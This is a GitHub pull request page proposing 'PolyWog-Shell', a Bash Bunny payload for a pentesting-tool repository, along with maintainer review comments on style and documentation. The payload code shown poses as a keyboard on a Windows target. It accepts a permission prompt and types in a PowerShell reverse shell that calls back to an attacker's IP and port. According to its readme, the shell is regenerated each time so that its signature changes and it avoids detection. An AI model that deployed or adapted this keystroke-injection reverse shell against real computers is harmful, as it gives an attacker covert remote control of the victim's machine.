Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Adding new execution payload. #695

Open
wants to merge 11 commits into
base: master
Choose a base branch
from
Open

Conversation

hak5peaks
Copy link
Member

This payload utilizes the Bash bunny to generate and then deliver unique Powershell payloads to target machine.

Read readme.md for more.

Copy link
Member

@dallaswinger dallaswinger left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

mostly (consistency) style and documentation fixes needed

# Title: PolyWog-Shell
# Author: Hak5Peaks
# Catagory: Exacuation
# Description: This payload uses a python2 + Bash script to generate a signature unique powershell rev shell that is typed out on the target PC.
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

"is typed out"

"using keystroke injection"

# Target: Windows
####################

# PLEASE READ THE CONFIGUATION REQUIRMENTS INSIDE THE GITHUB REPO BEFORE RUNNING SCRIPT.
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

the bare minimum configuration requirements should ideally be within the comments of the payload -- payloads are meant to be portable and self containing remember

Q DELAY 1000 #Waiting for PC to recongize bunny.

#rev shell call back configuation options.
IP="192.168.0.0" #Change this to IP on ncat listen
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Configuration options should be at the top of a payload so they are not missed by end user

Q STRING $SHELL # type out generated reverse shell.
Q DELAY 500
Q ENTER
LED G # indicate payload is done.
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

pick a consistent comment style

# comment
#comment 
# Comment
#Comment

any style is fine but at least keep it clean by being consistent ;)

# PLEASE READ THE CONFIGUATION REQUIRMENTS INSIDE THE GITHUB REPO BEFORE RUNNING SCRIPT.

ATTACKMODE HID
LED B # indicate payload started
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Consider using

LED ATTACK
LED SETUP
LED CLEANUP
LED FINISH

throughout payload as these are standardized color wise

cd ..
cd $SHELL_PY_DIR
python shell.py $IP $PORT #pass IP and port as arg in python generator script.
SHELL=$(cat shell.txt) # set output as global variable to avoid having to add escapes.
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

this should probably be quoted for safety(?)

or maybe I just write paranoid bash

SHELL="$(cat shell.txt)"

Q DELAY 1000
Q ALT y #accept permission prompt
Q DELAY 2000
Q STRING $SHELL # type out generated reverse shell.
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

this might also be worth quoting


## PolyWog Shell Description.

Poly shell is a reverse shell generator designed for the Bash Bunny. This payload uses a python2 + bash script to generate a powershell payload with a unique signature. Every time the bash bunny is plugged into a computer, a unique powershell script will be injected into the target machine.
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Poly shell

is it Poly shell or is it PolyWog shell? :P

Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

"Bash Bunny" not "bash bunny"


## Requirements.

Ensure correct configuation as stated above. There is `no` other requirments or external packages that need to be install.
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

there are no other

Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

make sure to comment somewhere if you have an SD card installed on the bunny, and if so the proper procedure for loading the payload onto the bunny in either case

Fixing **words** , LEDs and adding quotes
adding instructions for SD
adding comments and docs
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants